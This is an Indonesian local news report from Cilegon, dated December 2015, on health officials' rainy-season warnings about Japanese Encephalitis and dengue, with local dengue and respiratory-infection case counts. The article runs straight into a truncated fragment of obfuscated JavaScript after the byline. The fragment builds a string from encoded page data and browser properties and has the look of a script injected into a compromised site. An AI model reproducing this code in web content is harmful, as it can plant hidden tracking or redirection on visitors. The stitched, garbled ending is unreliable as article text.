Cilegon – Memasuki musim penghujan ini, Dinas Kesehatan (Dinkes) Kota Cilegon meminta masyarakat untuk bisa hidup bersih dan sehat. Sebab, pada saat musim hujan, selain penyakit Demam Berdarah Dengue (DBD) ada juga virus lain yang lebih membahayakan yaitu Japanese Encephalitis (JE). Kedua virus itu menyebar pada manusia melalui gigitan nyamuk.

Kepala Bidang (Kabid) Pemberantasan Penyakit dan Penyehatan Lingkungan (P2PL) pada Dinkes Kota Cilegon Retno Windarwati mengatakan, virus baru yang disebut Japanese Encephalitis tersebut belum terdeteksi diwilayah Kota Cilegon. “Iya memang ada virus itu, tapi di Cilegon kita belum menemukan kasusnya,” katanya Selasa, 1 Desember 2015.

Menurut Retno, infeksi virus Japanese Encephalitis menunjukkan gejala seperti demam, sakit kepala. Pada infeksi yang parah, gejala yang dimunculkan seperti demam tinggi, sakit kepala, leher kaku, tidak sadarkan diri, koma, kejang, lumpuh dan bahkan kematian.

“Japanese Enchepalitis ditularkan pada manusia melalui gigitan dari nyamuk yang terinfeksi culex sehingga dikenal dengan nama nyamuk culex,” ujarnya.

Untuk itu, Retno menghimbau masyarakat harus mewaspadai penyakit yang disebabkan oleh gigitan nyamuk tersebut dengan cara menjaga kebersihan lingkungan dan menerapkan pola hidup sehat. “Tempat yang biasanya banyak dihuni oleh nyamuk seperti genangan air, tempat gelap dan suhu yang lembab harus diwasapadai,” katanya.

Kepala Unit Pelaksana Teknis Dinas (UPTD) Puskesmas Pulomerak Faisal mengungkapkan, pada musim pancaroba ini, untuk masyarakat yang ada di Kecamatan Pulomerak rawan terkena penyakit ISPA dan DBD. “Penyakit yang menyerang masyarakat pada musim pancaroba, masih ISPA dan DBD,” katanya.

Faizal mengungkapkan, untuk kasus DBD jumlahnya tidak terlalu banyak. Pada tahun 2014 ada sekitar 12 orang. Sedangkan pada 2015 ini ada sekitar 15 orang yang mengalami DBD. “Paling banyak disini terkena penyakit ISPA yaitu hampir 700 orang,” ungkapnya. (Nur/Cing) nt(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}